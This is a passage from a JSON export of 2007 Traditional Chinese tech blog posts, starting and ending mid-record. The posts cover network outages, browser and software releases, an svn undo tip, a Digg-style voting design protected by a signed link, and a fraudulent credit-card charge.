    "title": "FreeBSD 7.0 release cycle"
  },
  {
    "id": "1208",
    "body": "在 netflow.ntcu.net 上的 Smokeping 資料：<a href=\"http://netflow.ntcu.net/smokeping/smokeping.cgi?target=TaiwanISP.HiNet\" rel=\"tag\">TaiwanISP.HiNet</a>\r\n\r\n<a href=\"http://beta.zooomr.com/photos/38183@Z01/2462142/\"><img src=\"http://static.zooomr.com/images/2462142_1ecaa1ed22.jpg\" alt=\"\" /></a>\r\n\r\n然後現在 168.95.1.1 &amp; 168.95.192.1 還是連不上 (這個影響蠻嚴重的？XD)，blog.xuite.net 也受到波及 (難怪從 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 點過去發現連不上)。\r\n\r\nPS：難怪 <a href=\"http://www.ptt.cc/\" rel=\"tag\">Ptt</a> 今天晚上 <a href=\"http://mrtg.ptt.cc:4099/ptt_users.html\" rel=\"tag\">使用人數 MRTG</a> 有一個掉大約一萬人的情況...\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/570287940/\"><img src=\"http://farm2.static.flickr.com/1379/570287940_a7b1ef841a.jpg\" alt=\"\" /></a>",
    "title": "HiNet 斷線"
  },
  {
    "id": "1209",
    "body": "問題是做像 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 類的投票功能 (那個 \"Digg\" 的點擊)，想要做到這幾點：\r\n<ul>\r\n\t<li>在有 Javascript 的情況下使用 <a href=\"http://zh.wikipedia.org/wiki/XMLHttpRequest\" rel=\"tag\">XHR</a> (XMLHttpRequest) 更新，也就是使用 <a href=\"http://zh.wikipedia.org/wiki/AJAX\" rel=\"tag\">AJAX</a>。</li>\r\n\t<li>在沒有 Javascript 的情況下可以 Graceful Degradation，也就是說用 pure HTML 的方式送出 (像是 form 或是 a link)。</li>\r\n\t<li>語意正確。</li>\r\n</ul>\r\n一開始的想法是這樣做：\r\n<ul>\r\n\t<li>用 a link 設定 <code>/vote.php?id=123</code> 作為 Graceful Degradation，vote.php 更新完資料庫後再重導回原頁面。</li>\r\n\t<li>在這個 a link 上加上 onclick 物件，以 <a href=\"http://zh.wikipedia.org/wiki/XMLHttpRequest\" rel=\"tag\">XHR</a> 的方式送出並更新，這邊定為 <code>/vote.php?id=123&amp;ajax=1</code>。</li>\r\n</ul>\r\n不過這樣的問題在於可以使用 <code>&lt;img src=...&gt;</code> 直接指定投票 url 而票數爆衝 (<a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 發生過)，不知道後來是怎麼解決 Graceful Degradation 問題的...\r\n\r\n我想到的方法是利用 <a href=\"http://en.wikipedia.org/wiki/Message_authentication_code\" rel=\"tag\">MAC</a> 類的方法加上簽名：把預設的 a link 加上 <code>&amp;sign=xxx</code>，其中 xxx 是 sha1(\"$secretkey-$username-$id\") (或是類似的方式產生)，而 <a href=\"http://zh.wikipedia.org/wiki/XMLHttpRequest\" rel=\"tag\">XHR</a> 的部份改成用 POST 送。\r\n\r\n有建議嗎？",
    "title": "Digg 類投票問題 (實做細節)"
  },
  {
    "id": "1210",
    "body": "如果做了一個 mega commit 後要 undo 的方法：(可以是上百行、上千行、上萬行，反正不想要手動改回來)\r\n<blockquote><pre>svn merge -r 1234:1233 . .\r\nsvn commit</pre></blockquote>\r\n這個動作其實就是做一個 r1234 與 r1233 的 diff 後 patch 進 working repository，然後 commit 出去。",
    "title": "用 Subversion 的 Merge 來 Undo"
  },
  {
    "id": "1211",
    "body": "<a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 安全性更新：<a href=\"http://wordpress.org/development/2007/06/wordpress-221/\" rel=\"tag\">WordPress 2.2.1</a>，bug 修正的部份包括了：\r\n<ul>\r\n\t<li>Atom feed validation fixes</li>\r\n\t<li>XML-RPC fixes</li>\r\n\t<li>Widget backward compatibility fixes</li>\r\n\t<li>Widget layout fixes for IE7</li>\r\n\t<li>Page and Text Widget improvements</li>\r\n</ul>\r\n安全性更新的部份包括了：\r\n<ul>\r\n\t<li>Remote shell injection in PHPMailer</li>\r\n\t<li>Remote SQL injection in XML-RPC</li>\r\n\t<li>Unescaped attribute in default theme</li>\r\n</ul>",
    "title": "WordPress 2.2.1"
  },
  {
    "id": "1212",
    "body": "在 <a href=\"http://torrentfreak.com/the-pirate-bay-launches-uncensored-image-hosting/\">The Pirate Bay Launches Uncensored Image Hosting</a> 這篇文章看到 <a href=\"http://bayimg.com/\" rel=\"tag\">BayImg</a> 這個站。\r\n\r\n<a href=\"http://bayimg.com/\" rel=\"tag\">BayImg</a> 是 <a href=\"http://thepiratebay.org/\" rel=\"tag\">ThePirateBay</a> 的一個子計畫，提供 Image Hosting。既然是 <a href=\"http://thepiratebay.org/\" rel=\"tag\">The Pirate Bay</a> 的子計畫，那麼這個站的重點就在於「不承認 Copyright」，所以他們宣稱上面的東西不會因為 Copyright 而被撤下。\r\n\r\n貼張 <a href=\"http://www.apple.com/safari/\" rel=\"tag\">Safari</a> Windows 的 Screenshot 吧：\r\n\r\n<img src=\"http://image.bayimg.com/pa/ph/ia/aa/f.jpg\" alt=\"\" width=\"500\" />",
    "title": "BayImg"
  },
  {
    "id": "1213",
    "body": "在 6/19 出版的 <a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 0.90 版的 Changelog 裡：\r\n<ul>\r\n\t<li>Core Improved: BT task support downloading from eDonkey network (ED plugin for BitComet is required)</li>\r\n\t<li>Core Improved: BT task support uploading to eDonkey network</li>\r\n</ul>\r\n看起來是把以前手動交叉補檔的工作自動化了，所以又該把 <a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 灌回來測試看看了... (反正差不多也該重灌電腦了，隨便亂灌一些東西吧？XD)\r\n\r\n<strong>Update</strong>：\r\n<blockquote><pre>09:43 &lt;@i&gt; 交叉補檔 ?\r\n09:53 &lt;@g&gt; 同時可以從 bittorrent &amp; edonkey network 抓檔案\r\n09:53 &lt;@g&gt; 對於有一陣子的 torrent 還蠻好用的\r\n09:54 &lt;@i&gt; 這太悍\r\n09:54 &lt;@g&gt; 以前都是從 edonkey network 上抓同樣檔案，然後丟到 utorrent 裡面跑 recheck\r\n09:54 &lt;@i&gt; 混在一起做牛丸這樣\r\n09:55 &lt;@g&gt; 這一個版本看起來是從 emule 拉 block 湊齊後檢查 torrent sha1，如果對了就當作有這個 block\r\n09:55 &lt;@g&gt; 看起來悍得很啊</pre></blockquote>",
    "title": "BitComet 支援 eDonkey Network"
  },
  {
    "id": "1214",
    "body": "收到電子帳單後仔細看的結果發現有一筆奇怪的消費金額：\r\n<blockquote>消費日 入帳起息日 卡號 交易說明 外幣折算日 地區 消費地簽帳金額 台幣金額\r\n96/06/13 96/06/15 xxxxxx WLI RESERVATIONREWARDS 96/06/14 US 10 335</blockquote>\r\n在網路上查了一下發現這篇：<a href=\"http://hercafe.yam.com/blog/hope333/2007/06/17/379617\">在北美上網購物請小心!! Rip Off Report</a>，這位是二月的時候在網路上買香草種子，結果後來發現有盜刷的情況。我的情況跟他有點類似，我五月的時候在網路花店消費...\r\n\r\n用 <a href=\"http://www.google.com/search?q=RESERVATIONREWARDS\" rel=\"tag\">RESERVATIONREWARDS</a> 當關鍵字去 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 查了一下，發現這些文章：\r\n<ul>\r\n\t<li><a href=\"http://billyoceanseleven.wordpress.com/2007/05/10/the-reservation-rewards-scammers-speak/\">The Reservation Rewards Scammers Speak</a></li>\r\n\t<li><a href=\"http://www.consumerist.com/consumer/webloyalty/watch-out-for-webloyalty-and-reservation-rewards-254064.php\">Watch Out For Webloyalty and Reservation Rewards</a></li>\r\n</ul>\r\n打電話去銀行處理，又要等個一陣子了...",
    "title": "信用卡盜刷：WLI RESERVATIONREWARDS"
  },
  {
    "id": "1215",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 打算在 9.5 版 (現在最新版是 9.21) 完整支援 <a href=\"http://zh.wikipedia.org/wiki/CSS\" rel=\"tag\">CSS</a> Selector (<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 所下的標題有點誇張)：<a href=\"http://slashdot.org/articles/07/06/22/2239218.shtml\" rel=\"tag\">Opera 9.5 To Fully Support CSS?</a>。\r\n\r\n除此之外，<a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 9.5 還會實做某些 CSS3 的規格，並且再改善速度...",
    "title": "Opera 9.5 將會完整支援 CSS Selector"
  },
  {
    "id": "1216",
    "body": "<a href=\"http://www.apple.com/safari/\" rel=\"tag\">Safari</a> <del datetime=\"2007-06-23T22:44:22+00:00\">9</del> 3.0.2 Beta 修正安全問題：<a href=\"http://lists.apple.com/archives/Security-announce/2007/Jun/msg00004.html\">APPLE-SA-2007-06-22 Safari 3 Beta Update 3.0.2</a>。\r\n\r\n據學弟 <a href=\"http://stephon.wordpress.com/\" rel=\"tag\">stephon</a> 說中文顯示的問題似乎解決了，不過輸入的問題還是沒解決...\r\n\r\n<strong>Update</strong>：更正成 3.0.2 =_=\r\n\r\n<strong>Update</strong>：中文字的部份... 本來我還沒遇到問題，現在... 下面這張圖是取自 <a href=\"http://mmdays.wordpress.com/2007/04/06/bt1/\" rel=\"tag\">透視BT（一） ── BT的基本運作原理</a> 的審查砲彈... (XD)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/605426027/\"><img src=\"http://farm2.static.flickr.com/1271/605426027_5767b6d9e7.jpg\" alt=\"\" /></a>\r\n\r\n大圖在 <a href=\"http://www.flickr.com/photos/gslin/605530900/\" rel=\"tag\">Safari Windows 3.0.2 beta Screenshot</a>。",
    "title": "Safari 3.0.2 Beta"
  },
  {
    "id": "1217",
    "body": "<a href=\"http://beta.zooomr.com/photos/38183@Z01/2523020/\" rel=\"tag\"><img src=\"http://static.zooomr.com/images/2523020_1b2fe2cfb4.jpg\" alt=\"\" style=\"float: right; margin: 0 0 1em 1em;\" /></a> 美國 (德州) 發生 ISP 在 Transparent Proxy 上插入 Javascript 放廣告的事情 (也就是右方的圖片)：<a href=\"http://slashdot.org/yro/07/06/23/1233212.shtml\">ISPs Inserting Ads Into Your Pages</a> (<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a>)、<a href=\"http://www.techcrunch.com/2007/06/23/real-evil-isp-inserted-advertising/\">Real Evil: ISP Inserted Advertising</a> (<a href=\"http://www.techcrunch.com/\" rel=\"tag\">TechCrunch</a>)。\r\n\r\n這已經引起非常強烈的討論了 (<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 以及 <a href=\"http://www.techcrunch.com/\" rel=\"tag\">TechCrunch</a> 的 comment)，來觀察後續情況...\r\n\r\n<br style=\"clear: both;\"/>",
    "title": "ISP 在 Transparent Proxy 上加廣告"
  },
  {
    "id": "1218",
    "body": "<a href=\"http://www.zooomr.com/\" rel=\"tag\">Zooomr</a> 開始提供付費帳號：<a href=\"http://blog.zooomr.com/2007/06/25/zooomr-launches-paid-pro-accounts/\">Zooomr Launches Paid Pro Accounts</a>。\r\n\r\n付費帳號的 <del>保護費</del> 年費是 $19.95，主要的差異「將會」在於廣告 (與 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 付費的部份一樣)，會把「將會」特地標起來是因為目前還沒有放廣告。另外他們打算提供付費的使用者將提供 \"Zooomr Analytics\" 的服務 (聽這個名字應該是跟 <a href=\"http://www.google.com/analytics/\" rel=\"tag\">Google Analytics</a> 類似的東西？)\r\n\r\n暫時看不到應該要花錢的地方...",
    "title": "Zooomr 開始提供付費帳號"
  },
  {
    "id": "1219",
    "body": "在 <a href=\"http://photomatt.net/\" rel=\"tag\">Matthew Mullenweg</a> 這邊看到 <a href=\"https://www.google.com/a/\" rel=\"tag\">Google Apps</a> 開始提供 <a href=\"http://zh.wikipedia.org/wiki/IMAP\" rel=\"tag\">IMAP</a>：<a href=\"http://photomatt.net/2007/06/25/google-apps-imap/\" rel=\"tag\">Google Appls IMAP</a>。\r\n\r\n參考 <a href=\"http://googleblog.blogspot.com/\" rel=\"tag\">Google Blog</a> 上的 <a href=\"http://googleblog.blogspot.com/2007/06/smooth-apps-move.html\">A smooth Apps move</a>，以及 <a href=\"http://www.google.com/a/help/intl/en/admins/new.html\">Welcome to Google Apps - New features for users</a> 的說明。\r\n\r\n有 <a href=\"http://zh.wikipedia.org/wiki/IMAP\" rel=\"tag\">IMAP</a> 後似乎方便不少，不過好像是付費的使用者才有...",
    "title": "Google Apps 支援 IMAP"
  },
  {
    "id": "1220",
    "body": "在 <a href=\"http://thepiratebay.org/blog/72\">Uncensored image hosting</a> 這篇文章裡提到 <a href=\"http://bayimg.com\" rel=\"tag\">BayImg</a> 因為消息走漏結果造成大量的使用者湧入：\r\n<blockquote>Actually, calling it a launch is wrong, the information that the site was on its way leaked out and all of a sudden we had 150Mbit pr second of traffic to the system, a system not yet optimized for that kind of traffic!</blockquote>\r\n另外是一些數字，目前已經有十五萬張圖以及五百萬的 PV，同時在 <a href=\"http://alexa.com/\" rel=\"tag\">Alexa.com</a> 上面的名次衝進全球 1000 名內：\r\n<blockquote>We already have over 5 million image views. You people have uploaded about 150.000 images and the site skyrocketed the first days into one of the 300 biggest sites on the web!</blockquote>\r\n另外在 <a href=\"http://www.slyck.com/\" rel=\"tag\">Slyck News</a> 上剛好同時看到 <a href=\"http://www.slyck.com/news.php?story=1508\">The Pirate Bay and Uncensored Hosting</a> 與 <a href=\"http://www.slyck.com/news.php?story=1509\">isoHunt and TorrentSpy to Filter Torrents</a> 兩篇強烈對比的文章，其實還蠻有趣的。",
    "title": "BayImg"
  },
  {
    "id": "1221",
    "body": "有些文章很短，但是卻相當犀利的將病徵指出來。\r\n\r\n<a href=\"http://abcnews.go.com/\" rel=\"tag\">ABC News</a> 刊了一篇 <a href=\"http://www.abcnews.go.com/Technology/PCWorld/story?id=3312143\" rel=\"tag\">100 Blogs We Love</a>。而 <a href=\"http://www.kottke.org/\" rel=\"tag\">Jason Kottke</a> 寫了一篇 <a href=\"http://www.kottke.org/remainder/07/06/13936.html\">100 blogs they love so much</a>，只有一句話：\r\n<blockquote><a href=\"http://www.abcnews.go.com/Technology/PCWorld/story?id=3312143\">100 blogs they love so much</a> that they're not going to link to a single one.</blockquote>\r\n\r\n當然更有可能是 <a href=\"http://www.kottke.org/\" rel=\"tag\">Kottke</a> 在發牢騷，因為那篇文章裡面也有提到 <a href=\"http://www.kottke.org/remainder/07/06/13936.html\" rel=\"tag\">Jason Kottke</a> ... XD",
    "title": "ABC News 的 100 Blogs We Love"
  },
  {
    "id": "1222",
    "body": "<a href=\"http://torrentfreak.com/\" rel=\"tag\">Torrent Freak</a> 傳來 µTorrent 要出 Mac 版的消息：<a href=\"http://torrentfreak.com/utorrent-for-mac-is-coming-an-early-review/\">uTorrent for Mac is Coming: An Early Review</a>。\r\n\r\n目前是屬於 close beta (未公開測試版本)，正式出版後對於 Mac 下使用 Bittorrent 的情況應該會大幅增加。(之前在 <a href=\"http://www.apple.com/macmini/\" rel=\"tag\">Mac Mini</a> 上挑 torrent client，發現沒幾套能用的，最後決定跑 Console mode 的 <a href=\"http://libtorrent.rakshasa.no/\" rel=\"tag\">rtorrent</a>...)",
    "title": "µTorrent 要出 Mac 版..."
  },
  {
    "id": "1223",
    "body": "<a href=\"http://simonwillison.net/\" rel=\"tag\">Simon Willison</a> 在 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> Mountain View 講 <a href=\"http://openid.net/\" rel=\"tag\">OpenID</a>：<a href=\"http://simonwillison.net/2007/Jun/28/techtalk/\">My Google Tech Talk on OpenID</a>，<a href=\"http://video.google.com/\" rel=\"tag\">Google Video</a> 的影片：<a href=\"http://video.google.com/videoplay?docid=2288395847791059857\">Open ID</a>，以及 <a href=\"http://www.slideshare.net/\" rel=\"tag\">SlideShare</a> 的投影片：<a href=\"http://www.slideshare.net/simon/implications-of-openid-google-tech-talk/\">Implications Of OpenID (Google Tech Talk)</a>。\r\n\r\n主要是 <a href=\"http://openid.net/\" rel=\"tag\">OpenID</a> 概念的陳述，可行的應用方向，以及會遇到的問題。對於 <a href=\"http://openid.net/\" rel=\"tag\">OpenID</a> 有了解的人可能會覺得講的蠻淺的，不過看得出來主要是去 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 傳教，所以不會提到一堆實做上的問題...",
    "title": "Simon Willison 在 Google Mountain View 講 OpenID"
  },
  {
    "id": "1224",
    "body": "<a href=\"http://gplv3.fsf.org/\" rel=\"tag\">GPLv3</a> 正式版本弄的好像什麼新車發表會之類的...：<a href=\"http://slashdot.org/articles/07/06/27/210226.shtml\">GPL 3 Launch Date Announced</a>：\r\n<blockquote>Live video footage of the GPL's unveiling by Richard M. Stallman will be available as a stream on the FSF's website.</blockquote>\r\nAnyway，6/29 發表，與 <a href=\"http://www.apple.com/iphone/\" rel=\"tag\">Apple iPhone</a> 同一天 XD",
    "title": "「GPLv3 發表會」"
  },
  {
    "id": "1225",
    "body": "剛剛<a href=\"http://chewing.csie.net/\" rel=\"tag\">新酷音</a>的自動更新程式跳出更新訊息，<a href=\"http://chewing.csie.net/\" rel=\"tag\">新酷音輸入法</a> Win32 0.3.4.5 出版了：<a href=\"http://chewing.csie.net/news.html#win32_chewing_0345\">Win32-chewing 0.3.4.5 版釋出</a>，舊版的使用者要記得先移除掉在安裝新版。",
    "title": "新酷音輸入法 Win32 0.3.4.5 出版"
  },
  {
    "id": "1226",
    "body": "受到 <a href=\"http://mootools.net/slickspeed/\" rel=\"tag\">SlickSpeed</a> 的刺激，這一版的 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 大幅改善 CSS Selector 的速度，<a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 官方的測試結果比 1.1.2 快了 800% (也是以 <a href=\"http://mootools.net/slickspeed/\" rel=\"tag\">SlickSpeed</a> 測試)：<a href=\"http://jquery.com/blog/2007/07/01/jquery-113-800-faster-still-20kb/\">jQuery 1.1.3: 800%+ Faster, still 20KB</a>。\r\n\r\n不過這個版本在 mailing list 看得出來目前還很不穩定，很多人抱怨在非主流的 browser 上會有問題 (主要是 <a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 與 <a href=\"http://www.apple.com/safari/\" rel=\"tag\">Safari</a>，以及 <a href=\"http://www.konqueror.org/\" rel=\"tag\">Konqueror</a>)，甚至有 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 上的使用者抱怨 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 回報 <a href=\"http://mootools.net/slickspeed/\" rel=\"tag\">SlickSpeed</a> 測試全部都是 return error。\r\n\r\n接下來的 1.1.4 版將會是 1.1 系列的最後一個版本，之後就是 1.2 了...",
    "title": "jQuery 1.1.3"
  },
  {
    "id": "1227",
    "body": "<a href=\"http://beta.zooomr.com/photos/38183@Z01/2628719/\"><img src=\"http://static.zooomr.com/images/2628719_55e68fba31_m.jpg\" alt=\"\" style=\"float: left; margin: 0 1em 1em 0;\" /></a> 噗... 你們還有出現 email 可以認證，我的帳號是完全沒有 email 可以認證... XD (反正我看開了，DarkKiller 這個帳號上面也沒東西，裡面的圖當初都有丟 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a>，隨便啦...)\r\n\r\n(說到 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a>，好像跟某站同一家... 我還是找個時間也順便丟 <a href=\"http://www.zooomr.com/\" rel=\"tag\">Zooomr</a> 好了 XD)\r\n\r\nAnyway，對於換密碼這件事情我有兩個猜測：\r\n<ul>\r\n\t<li>第一個猜測是，終於發現資料庫被撈走了，不過我覺得不是這個原因，這件事情六個人裡面有腦袋的那個早在被 <a href=\"http://tw.yahoo.com/\" rel=\"tag\">Y! TW</a> 買之前就知道了。(很久前就當面說過了)</li>\r\n\t<li>第二個猜測是，以前是用 CRYPT() 或 MD5() 或類似的 one-way hash function 放在資料庫，表面上是強迫使用者換密碼，其實是要撈 plaintext password，準備整合進 <a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 的認證系統。</li>\r\n</ul>\r\n為什麼我會猜第二個？因為我在 <a href=\"http://d2.nctu.edu.tw/\" rel=\"tag\">D2</a> 系統上也幹過類似的事情啊，當年想要直接使用 <a href=\"http://d2.nctu.edu.tw/\" rel=\"tag\">D2</a> 帳號的 802.1X 就是卡在沒有 plaintext password 沒辦法做，商業站台有 plaintext password 問題少很多啊。\r\n\r\n至於故意要雙證件，只是讓非 VIP 使用者覺得很麻煩而不會想要送而已。\r\n\r\nPS：剛好看到 <a href=\"http://www.dearhoney.idv.tw/\" rel=\"tag\">DearHoney</a> 的 <a href=\"http://www.dearhoney.idv.tw/?p=1063\">無名的部落客，你們到底還要超幹+黑特多久？</a> 這篇，我笑出來了 XD",
    "title": "無名小站強制換密碼之不負責任猜測"
  },
  {
    "id": "1228",
    "body": "<a href=\"http://jquery.com/blog/2007/07/05/jquery-1131/\" rel=\"tag\">jQuery 1.1.3.1</a> 出版了，會這麼急的原因也很簡單：修掉六個重大的 bug。(可是在 <a href=\"http://dev.jquery.com/report/16\" rel=\"tag\">jQuery 的 Trac 上</a> 只列出五個 ticket？)\r\n\r\n檔案大小仍然維持 20KB 左右，透過 gzip 傳輸後應該會更小。",
    "title": "jQuery 1.1.3.1"
  },
  {
    "id": "1229",
    "body": "<a href=\"http://developer.yahoo.com/yui/\" rel=\"tag\">YUI</a> 有 <a href=\"http://www.yahoo.com/\" rel=\"tag\">Y!</a> 在 Hosting，但是 <a href=\"http://www.prototypejs.org/\" rel=\"tag\">Prototype</a> 與 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 沒有，對於開發軟體或是臨時想要寫小東西的人來說很麻煩。\r\n\r\n所以就是這樣：<a href=\"http://w3.nctu.edu.tw/js-framework/\">http://w3.nctu.edu.tw/js-framework/</a>，基本上會當作正式服務儘量維持。另外，因為是在 TANet 上，所以禁止商業使用。",
    "title": "Prototype 與 jQuery 的 Hosting"
  },
  {
    "id": "1230",
    "body": "這會不會太超過了... -_-\r\n\r\n在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到小偷在偷到信用卡後，<a href=\"http://slashdot.org/it/07/07/07/1929237.shtml\">拿信用卡盜刷捐款</a> 以確認是否還可以使用，像是<a href=\"http://www.redcross.org/\" rel=\"tag\">紅十字會</a>。因為信用卡公司不會因為到這些慈善團體捐款而事先詢問持卡人。",
    "title": "拿信用卡盜刷捐款..."
  },
  {
    "id": "1231",
    "body": "看起來金屬價格愈來愈高的情況下，每個國家都會遇到類似的問題... (參考之前寫的 <a href=\"http://blog.gslin.org/archives/2007/01/27/1045/\" rel=\"tag\">銅板與金屬</a>，台灣與美國都<del datetime=\"2007-07-10T03:10:45+00:00\">愈到了</del>遇到了)\r\n\r\n剛剛在 <a href=\"http://www.schneier.com/blog/\" rel=\"tag\">Bruce Schneier 的 Blog</a> 上看到印度硬幣的金屬價值也超過面額了：<a href=\"http://www.schneier.com/blog/archives/2007/07/when_coins_are.html\">When Coins are Worth More As Metal than Coins</a>，<a href=\"http://news.bbc.co.uk/\" rel=\"tag\">BBC</a> 的報導：<a href=\"http://news.bbc.co.uk/2/hi/south_asia/6766563.stm\">Sharp practice of melting coins</a>。",
    "title": "硬幣的面額與金屬價值"
  },
  {
    "id": "1232",
    "body": "內含些微劇情。\r\n<!--more-->\r\n<a href=\"http://www.zooomr.com/photos/38183@Z01/2670246/\"><img src=\"http://static.zooomr.com/images/2670246_72f5e4dfac.jpg\" alt=\"\" /></a>\r\n\r\n我看到這句的時候笑翻了 XD 這三個大魔王可是有時空管理局的 99% 戰力啊 XD",
    "title": "魔砲 SS 15"
  },
  {
    "id": "1233",
    "body": "先看這頁：<a href=\"http://netnews.nctu.edu.tw/~gslin/tmp/jquery-animate.html\">jquery-animate.html</a>，用 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 以及 IE 各看一次，然後游標試著在兩個段落上移動看看，在 IE 上應該會變成這樣：\r\n\r\n<a href=\"http://www.zooomr.com/photos/38183@Z01/2670943/\"><img src=\"http://static.zooomr.com/images/2670943_aeb2f1d32e_o.png\" alt=\"\" /></a>\r\n\r\n找了資料以後確定這是 IE 的 bug，也有解法：<a href=\"http://icant.co.uk/sandbox/msieopacityissue/\">MSIE animated fade problems</a>，解法是設定 background 屬性 (不確定設成底圖可不可以，不過確定 \"transparent\" 不可以)。經過測試發現可以在 Javascript 裡面設定 background，而不用事先在 CSS 裡面設。\r\n\r\n對 IE 的 browser detecting 也很簡單：(Ref：<a href=\"http://www.javascriptkit.com/javatutors/navigator.shtml\">Using the navigator object to detect client's browser</a>)\r\n<blockquote><pre>if (navigator.appVersion.indexOf(\"MSIE\") != -1) {\r\n  // ...\r\n}</pre></blockquote>\r\n目前看起來沒有問題，不過 background 屬性不能是 transparent 還蠻麻煩的...",
    "title": "IE Opacity Bug"
  },
  {
    "id": "1234",
    "body": "<a href=\"http://www.adobe.com/products/flashplayer/\" rel=\"tag\">Adobe Flash Player</a> 會自動跳出要你更新的訊息嗎？我沒看過，先假設不會好了...\r\n\r\n在這頁看到 <a href=\"http://www.adobe.com/products/flashplayer/\" rel=\"tag\">Adobe Flash Player</a> 的安全性更新：<a href=\"http://ria.richtechmedia.com/2007/07/11/flash-player-%e9%87%8d%e5%a4%a7%e5%ae%89%e5%85%a8%e6%80%a7%e6%9b%b4%e6%96%b0/\">flash player 重大安全性更新</a>，官方新聞稿在 <a href=\"http://www.adobe.com/support/security/bulletins/apsb07-12.html\">Flash Player update available to address security vulnerabilities</a> 這篇，在新聞稿下半部的 link 將新版抓下來以後把 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 關掉再執行就可以了。\r\n\r\n抓完以後在 about:plugins 應該可以看到 r47 的版本：\r\n\r\n<a href=\"http://www.zooomr.com/photos/38183@Z01/2676773/\"><img src=\"http://static.zooomr.com/images/2676773_59f3f7c444_o.png\" alt=\"\" /></a>",
    "title": "Flash Player 安全性更新"
  },
  {
    "id": "1235",
    "body": "再 <a href=\"http://use.perl.org/\" rel=\"tag\">use Perl;</a> 上看到 <a href=\"http://www.perl.org/\" rel=\"tag\">Perl</a> 5.9.5 的消息：<a href=\"http://use.perl.org/articles/07/07/09/0655239.shtml\">Perl 5.9.5 release</a>，這個版本會是 5.9 的最後一個版本，現在的重點將會放在穩定性上面，然後出 5.10.0。(如同 <a href=\"http://kernel.org/\" rel=\"tag\">Linux kernel</a> 一樣，奇數版本是開發版，偶數版本才是穩定版)\r\n\r\n剛好這幾天在 <a href=\"http://search.cpan.org/dist/DBIx-Class/\" rel=\"tag\">DBIx::Class</a> 的 mailing list 找資料的時候發現 <a href=\"http://search.cpan.org/dist/Class-C3/\" rel=\"tag\">Class::C3</a> 在 <a href=\"http://www.perl.org/\" rel=\"tag\">Perl</a> 5.9 上的速度大幅增加：<a href=\"http://lists.scsys.co.uk/pipermail/dbix-class/2007-May/003843.html\">[Dbix-class] Re: New Class::C3 dev releases</a>，而且也有不少人回報 <a href=\"http://www.catalystframework.org/\" rel=\"tag\">Catalyst</a> 啟動的<del datetime=\"2007-07-13T05:16:54+00:00\">速度</del>時間大幅減少，對於用 <a href=\"http://www.catalystframework.org/\" rel=\"tag\">Catalyst</a> 的開發者是一大福音啊...",
    "title": "Perl 5.9.5"
  },
  {
    "id": "1236",
    "body": "才正要寫 <a href=\"http://torrentfreak.com/utorrent-17-stable-finally-released/\" rel=\"tag\">uTorrent 1.7 Stable Finally Released</a> 這篇，結果去 <a href=\"http://utorrent.com/\" rel=\"tag\">µTorrent</a> 的下載頁面就看到 1.7.1 更新的消息，檔案比 1.7 還小 XD\r\n\r\n這個版本比起 µTorrent 1.6 多了不少新功能，幾個我注意到的是：\r\n<ul>\r\n\t<li>自動調整上下傳速度。</li>\r\n\t<li>支援 Windows Vista。</li>\r\n</ul>\r\n完整的 Changelog 很長，參考：<a href=\"http://download.utorrent.com/1.7.1/utorrent-1.7.1.txt\">http://download.utorrent.com/1.7.1/utorrent-1.7.1.txt</a>。\r\n\r\n另外值得注意的是 Mac 版 (close beta 中) 與 Linux 版 (計畫中) 的發行，到時候應該會有人想辦法在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上跑... 再用個 <a href=\"http://sourceforge.net/projects/xming\" rel=\"tag\">Xming</a> 好像不錯... :p",
    "title": "µTorrent 1.7.1"
  },
  {
    "id": "1237",
    "body": "把 <a href=\"http://blog.gslin.info/\" rel=\"tag\">blog.gslin.info</a> 拿來放 ACG 的部份好了... (說不定更新的比這邊勤？)",
    "title": "ACG 部份..."
  },
  {
    "id": "1238",
